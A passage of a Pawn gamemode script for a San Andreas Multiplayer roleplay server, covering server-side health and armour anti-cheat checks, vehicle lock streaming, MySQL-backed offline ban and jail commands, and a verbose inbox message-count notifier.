	GetPlayerHealth(playerid,H);
	   if(Koon[playerid] < H)
	   {
		  SetPlayerKoon(true, playerid, Koon[playerid]);
	   }
	}
}
/*------------------ServerSide Armour hack BY Sina :D-----------------------*/
	stock SetPlayerPosEx(playerid,Float:X,Float:Y,Float:Z)
	{
		SetPlayerPos(playerid,X,Y,Z)
	}
stock SetPlayerZereh(playerid, Float:zereh)
{
	if(zereh > 0) Zereh[playerid] = zereh;
	else {Zereh[playerid] = 0.0; return SetPlayerArmour(playerid, 0);}
	return SetPlayerArmour(playerid, zereh);
}

//stock Float:GetPlayerZereh(playerid)
//{
  // return Zereh[playerid];
//}

forward ArmourTimer();
public ArmourTimer()
{
for(new i = 0; i < Akharish; i++ )
{
if(IsPlayerConnected(i))
{
new Float:A;
GetPlayerArmour(i, A);
if(Zereh[i] < A)
{
SetPlayerZereh(i, Zereh[i]);
}
}
}
}
forward B11T();
public B11T()
{
  MoveDynamicObject(Balsys1, 277.671112,-1761.864868,185.162277, 20.0);
  //B1ToRah = 1;
}
forward B22T();
public B22T()
{
   MoveDynamicObject(Balsys2, 277.671112,-1761.864868,185.162277, 20.0);
  //B2ToRah = 1;
}
//----------------------------------------------------------------------------//
public OnVehicleStreamOut(vehicleid, forplayerid)
{
	return 1;
}
public OnVehicleStreamIn(vehicleid, forplayerid)
{

	if(OwnedMashin[vehicleid] == 1)
	{

	new vown = MashinOwner[vehicleid];
	new v;
	if(vehicleid == PINFO[vown][pCar_1]) {v = PINFO[vown][pVeh1];}
	else if(vehicleid == PINFO[vown][pCar_2]) {v = PINFO[vown][pVeh2];}
	else if(vehicleid == PINFO[vown][pCar_3]) {v = PINFO[vown][pVeh3];}
	else if(vehicleid == PINFO[vown][pCar_4]) {v = PINFO[vown][pVeh4];}
	else if(vehicleid == PINFO[vown][pCar_5]) {v = PINFO[vown][pVeh5];}
	else if(vehicleid == PINFO[vown][pCar_6]) {v = PINFO[vown][pVeh6];}

	   if(vInfo[v][cLock] == 1)
	   {
		  SetVehicleParamsForPlayer(vehicleid,forplayerid,0,1);
			LockIs[vehicleid][forplayerid] = 1;
	   }
	   if(vInfo[v][cLock] == 0)
	   {
		  SetVehicleParamsForPlayer(vehicleid,forplayerid,0,0);
			LockIs[vehicleid][forplayerid] = 0;
	   }
	}


	if(MashinRenter[vehicleid] != INVALID_PLAYER_ID)
	{
	   if(gCarLock[vehicleid] == 1)
	   {
		  SetVehicleParamsForPlayer(vehicleid, forplayerid, 0, 1);
	   }
	   if(gCarLock[vehicleid] == 0)
	   {
		  SetVehicleParamsForPlayer(vehicleid,forplayerid,0,0);
	   }
	}
	return 1;
}
forward endchair(playerid);
public endchair(playerid)
{
LoopingAnim(playerid,"PED","SEAT_down",3.0,0,1,1,1,0);
AnimPlay[playerid] = 1;
return 1;
}
/*-----------------------------**MySQL System**-------------------------------*/
function TalighOffline(playerid, taraf[], dalil[])
{
new rows = cache_get_row_count(handle);
if(!rows && playerid == INVALID_PLAYER_ID) return 1;
if(!rows) return SCM(playerid,COLOR_GG,"That player isn't exists.");
new Data[1];
Data[0]=cache_get_field_content_int(0,"pBanned");
new banshode = Data[0];
if(banshode != 0) return SCM(playerid, COLOR_YELLOW2, "Error: This player is already banned.");
new Name[MAX_PLAYER_NAME];
if(IsPlayerConnected(playerid)) format(Name, MAX_PLAYER_NAME, PINFO[playerid][pName]);
new admin = cache_get_row_int(0,3,handle);
if(admin >= 1 && PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't ban an admin.");
if(admin > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't ban your higher admin level.");
new query[256];
new bantime[200];
new sal, mah, rooz, saat, daqiqe, sanie;
getdate(sal, mah, rooz);
gettime(saat, daqiqe, sanie);
sal -= 2000;
format(bantime, 200, "%02d/%02d/%02d %02d:%02d:%02d", sal, mah, rooz, saat, daqiqe, sanie);
mysql_format(handle, query, 256, "UPDATE `users` SET pBanned='3',pBanTime='%e',pBannedBy='%e',pBanReason='%e' WHERE pName='%e'",bantime,Name,dalil,taraf);
mysql_tquery(handle, query, "SendQuery", "");
new ip[50];
cache_get_row(0, 114, ip, handle, 50);
new query2[256];
mysql_format(handle, query2, 256, "INSERT INTO `banneds` (`IP`,`BannedBy`,`BannedReason`,`bannedtime`)VALUES ('%e','%e','%e','%e')",ip,Name,dalil,bantime);
mysql_tquery(handle, query2, "SendQuery", "");
new StrZ[144];
format(StrZ, 300, "AdmCmd: Offline player %s has been permanently banned by admin %s, Reason: %s",taraf,Name,dalil);
AddLog(taraf, PINFO[playerid][pName], dalil, "Permanently", 9);
SendClientMessageToAll(COLOR_LIGHTRED, StrZ);
return 1;
}
function BanOfflinePlayer(playerid, taraf[], days, reason[], UseIP)
{
	new rows = cache_get_row_count(handle);
	if(!rows && playerid == INVALID_PLAYER_ID) return 1;
	if(!rows) return SCM(playerid,COLOR_GG,"That player isn't exists.");
	new Data[1];
	Data[0]=cache_get_field_content_int(0,"pBanned");
	new banshode = Data[0];
	if(banshode == 1 || banshode == 2) return SCM(playerid, COLOR_YELLOW2, "Error: This player is already banned.");
	new Name[MAX_PLAYER_NAME];
	if(IsPlayerConnected(playerid)) format(Name, MAX_PLAYER_NAME, PINFO[playerid][pName]);
	else format(Name, MAX_PLAYER_NAME, "AdmBot");
	new admin = cache_get_row_int(0,3,handle);
	if(admin > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "you cannot ban an admin higher than you.");
	new query[256];
	new bantime[200];
	new sal, mah, rooz, saat, daqiqe, sanie;
	getdate(sal, mah, rooz);
	gettime(saat, daqiqe, sanie);
	sal -= 2000;
	format(bantime, 200, "%02d/%02d/%02d %02d:%02d:%02d", sal, mah, rooz, saat, daqiqe, sanie);
	if(days != 0) mysql_format(handle, query, 256, "UPDATE `users` SET pBanned='1',pBanTime='%e',pBannedBy='%e',pBanReason='%e',pBanDays='%i' WHERE pName='%e'",bantime,Name,reason,days,taraf);
	else mysql_format(handle, query, 256, "UPDATE `users` SET pBanned='2',pBanTime='%e',pBannedBy='%e',pBanReason='%e' WHERE pName='%e'",bantime,Name,reason,taraf);
	mysql_tquery(handle, query, "SendQuery", "");

	if(UseIP == 1)
	{
	   if(days == 0)
	   {
		  new ip[50];
		  cache_get_row(0, 114, ip, handle, 50);
		  new query2[256];
		  mysql_format(handle, query2, 256, "INSERT INTO `banneds` (`IP`,`BannedBy`,`BannedReason`,`bannedtime`)VALUES ('%e','%e','%e','%e')",ip,Name,reason,bantime);
		  mysql_tquery(handle, query2, "SendQuery", "");
	   }
	}
	new string[300];
	if(days != 0) {

		format(string, 300, "AdmCmd: Offline player %s has been banned by admin %s for %i days, Reason: %s",taraf,Name,days,reason);
		new banreason[1000],bannedby[40],bannedtime[260],bandays;
		//banned = cache_get_row_int(0,76,handle);
		cache_get_row(0,78,banreason,handle,1000);
		cache_get_row(0,79,bannedby,handle,40);
		cache_get_row(0,80,bannedtime,handle,260);
		bandays = cache_get_row_int(0, 124, handle);

		new ssal[5], smah[5], srooz[5], ssaat[5], sdaqiqe[5], ssanie[5], usal, umah, urooz, usaat, csal, cmah, crooz, csaat, cdaqiqe, csanie;
		ssal[0] = bannedtime[0];
		ssal[1] = bannedtime[1];
		smah[0] = bannedtime[3];
		smah[1] = bannedtime[4];
		srooz[0] = bannedtime[6];
		srooz[1] = bannedtime[7];
		ssaat[0] = bannedtime[9];
		ssaat[1] = bannedtime[10];
		sdaqiqe[0] = bannedtime[12];
		sdaqiqe[1] = bannedtime[13];
		ssanie[0] = bannedtime[15];
		ssanie[1] = bannedtime[16];
		usaat = strval(ssaat)+(24*bandays);
		urooz = strval(srooz);
		umah = strval(smah);
		usal = strval(ssal);
		getdate(csal, cmah, crooz);
		gettime(csaat, cdaqiqe, csanie);
		for(new i = 0;i<50;i++)
		{
			if(usaat >= 24)
			{
				usaat -= 24;
				urooz ++;
			}
		}
		for(new i = 0;i<50;i++)
		{
			if(urooz >= GetDaysInMonth(umah, usal))
			{
				urooz -= GetDaysInMonth(umah, usal);
				umah ++;
			}
		}
		for(new i = 0;i<50;i++)
		{
			if(umah >= 12)
			{
				umah -= 12;
				usal ++;
			}
		}
		new timetodate[256];

		format(timetodate, 256, "20%02d/%02d/%02d", usal, umah, urooz);

		AddLog(taraf, PINFO[playerid][pName], reason, timetodate, 9);
		}
	   else {


		format(string, 300, "AdmCmd: Offline player %s has been permanently banned by admin %s, Reason: %s",taraf,Name,reason);
		AddLog(taraf, PINFO[playerid][pName], reason, "Permanently", 9);
		}
	SendClientMessageToAll(COLOR_LIGHTRED, string);

	return 1;
}
function BanOfflinePlayer2(playerid, taraf[], days, reason[], UseIP)
{
	new rows = cache_get_row_count(handle);
	if(!rows && playerid == INVALID_PLAYER_ID) return 1;
	if(!rows) return SCM(playerid,COLOR_GG,"That player isn't exists.");
	new Name[MAX_PLAYER_NAME];
	if(IsPlayerConnected(playerid)) format(Name, MAX_PLAYER_NAME, PINFO[playerid][pName]);
	else format(Name, MAX_PLAYER_NAME, "AdmBot");
	new admin = cache_get_row_int(0,3,handle);
	if(admin > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "you cannot ban an admin higher than you.");
	new query[256];
	new bantime[200];
	new sal, mah, rooz, saat, daqiqe, sanie;
	getdate(sal, mah, rooz);
	gettime(saat, daqiqe, sanie);
	sal -= 2000;
	format(bantime, 200, "%02d/%02d/%02d %02d:%02d:%02d", sal, mah, rooz, saat, daqiqe, sanie);
	if(days != 0) mysql_format(handle, query, 256, "UPDATE `users` SET pBanned='1',pBanTime='%e',pBannedBy='%e',pBanReason='%e',pBanDays='%i' WHERE pName='%e'",bantime,Name,reason,days,taraf);
	else mysql_format(handle, query, 256, "UPDATE `users` SET pBanned='2',pBanTime='%e',pBannedBy='%e',pBanReason='%e' WHERE pName='%e'",bantime,Name,reason,taraf);
	mysql_tquery(handle, query, "SendQuery", "");

	if(UseIP == 1)
	{
	   if(days == 0)
	   {
		  new ip[50];
		  cache_get_row(0, 114, ip, handle, 50);
		  new query2[256];
		  mysql_format(handle, query2, 256, "INSERT INTO `banneds` (`IP`,`BannedBy`,`BannedReason`,`bannedtime`)VALUES ('%e','%e','%e','%e')",ip,Name,reason,bantime);
		  mysql_tquery(handle, query2, "SendQuery", "");
	   }
	}
	new string[300];
	if(days != 0) {

		format(string, 300, "AdmCmd: offline player %s has been banned by admin %s for %i days, Reason: %s",taraf,Name,days,reason);
		new banreason[1000],bannedby[40],bannedtime[260],bandays;
		//banned = cache_get_row_int(0,76,handle);
		cache_get_row(0,78,banreason,handle,1000);
		cache_get_row(0,79,bannedby,handle,40);
		cache_get_row(0,80,bannedtime,handle,260);
		bandays = cache_get_row_int(0, 124, handle);

		new ssal[5], smah[5], srooz[5], ssaat[5], sdaqiqe[5], ssanie[5], usal, umah, urooz, usaat, csal, cmah, crooz, csaat, cdaqiqe, csanie;
		ssal[0] = bannedtime[0];
		ssal[1] = bannedtime[1];
		smah[0] = bannedtime[3];
		smah[1] = bannedtime[4];
		srooz[0] = bannedtime[6];
		srooz[1] = bannedtime[7];
		ssaat[0] = bannedtime[9];
		ssaat[1] = bannedtime[10];
		sdaqiqe[0] = bannedtime[12];
		sdaqiqe[1] = bannedtime[13];
		ssanie[0] = bannedtime[15];
		ssanie[1] = bannedtime[16];
		usaat = strval(ssaat)+(24*bandays);
		urooz = strval(srooz);
		umah = strval(smah);
		usal = strval(ssal);
		getdate(csal, cmah, crooz);
		gettime(csaat, cdaqiqe, csanie);
		for(new i = 0;i<50;i++)
		{
			if(usaat >= 24)
			{
				usaat -= 24;
				urooz ++;
			}
		}
		for(new i = 0;i<50;i++)
		{
			if(urooz >= GetDaysInMonth(umah, usal))
			{
				urooz -= GetDaysInMonth(umah, usal);
				umah ++;
			}
		}
		for(new i = 0;i<50;i++)
		{
			if(umah >= 12)
			{
				umah -= 12;
				usal ++;
			}
		}
		new timetodate[256];

		format(timetodate, 256, "20%02d/%02d/%02d", usal, umah, urooz);

		AddLog(taraf, PINFO[playerid][pName], reason, timetodate, 9);
		}
	   else {


		format(string, 300, "{FFFFFF}offline player %s has been permanently banned by admin %s, Reason: %s",taraf,Name,reason);
		AddLog(taraf, PINFO[playerid][pName], reason, "Permanently", 9);
		}
	AdminWarn(string);

	return 1;
}
function JailOfflinePlayer(playerid, taraf[], days, reason[])
{
	new rows = cache_get_row_count(handle);
	if(!rows && playerid == INVALID_PLAYER_ID) return 1;
	if(!rows) return SCM(playerid,COLOR_GG,"That player isn't exists.");
	new Name[MAX_PLAYER_NAME];
	if(IsPlayerConnected(playerid)) format(Name, MAX_PLAYER_NAME, PINFO[playerid][pName]);
	else format(Name, MAX_PLAYER_NAME, "AdmBot");
	new query[256];
//	new bantime[200];
	mysql_format(handle, query, 256, "UPDATE `users` SET pJailTime='%d',pJailBy='%e',pJailReason='%e',pAdminJailed='1' WHERE pName='%e'",days*60,Name,reason,taraf);
	mysql_tquery(handle, query, "SendQuery", "");

	new sec[64];
	format(sec, sizeof(sec), "%d",days);
	AddLog(taraf, PINFO[playerid][pName], reason, sec, 12);

	new string[300];
	format(string, 300, "AdmCmd: Offline player %s has been Admin-Jailed For %d minutes by %s, Reason: %s",taraf,days,Name,reason);
	SendClientMessageToAll(COLOR_LIGHTRED, string);


	return 1;
}
function DoesPlayerHaveMessage(playerid)
{
  new str[120];
  if(cache_num_rows()==0)return 1;
  new readed;
  new unreaded;
  new mohemmsg;
  new staffmsgs = 0;
  new rows = cache_num_rows();
  for(new i = 0; i < cache_num_rows(); i++)
  {
  new reademsg;
  reademsg = cache_get_field_content_int(i,"Readed");
  mohemmsg = cache_get_field_content_int(i,"StaffMSG");
  if(reademsg == 1)
  {
  readed++;
  }
  if(reademsg == 0)
  {
  unreaded++;
  }
  if(mohemmsg == 1)
  {
  staffmsgs++;
  }
  }
  
  
  
  
  
  
    //
  if(staffmsgs >= 2)
  {
  if(cache_num_rows()>=2)
  {
  if(readed >= 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages) {FF0000}(%i staff messages)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages) {FF0000}(%i staff messages)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread message: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread message: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages) {FF0000}(%i staff messages)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed >= 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages) {FF0000}(%i staff messages)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread message: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread message: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  }
  if(cache_num_rows()<2)
  {
  if(readed >= 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages) {FF0000}(%i staff messages)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages) {FF0000}(%i staff messages)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread message: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread message: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages) {FF0000}(%i staff messages)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed >= 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages) {FF0000}(%i staff messages)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread message: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread message: %i/%i) {FF0000}(%i staff messages)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  }
  return 1;
  }
  //
  
  
  
  
  //
  if(staffmsgs == 1)
  {
  if(cache_num_rows()>=2)
  {
  if(readed >= 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages) {FF0000}(%i staff message)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages) {FF0000}(%i staff message)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread message: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread message: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages) {FF0000}(%i staff message)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed >= 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages) {FF0000}(%i staff message)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread message: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread message: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  }
  if(cache_num_rows()<2)
  {
  if(readed >= 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages) {FF0000}(%i staff message)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages) {FF0000}(%i staff message)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread message: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread message: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages) {FF0000}(%i staff message)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread messages: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed >= 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages) {FF0000}(%i staff message)",cache_num_rows(), staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread message: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
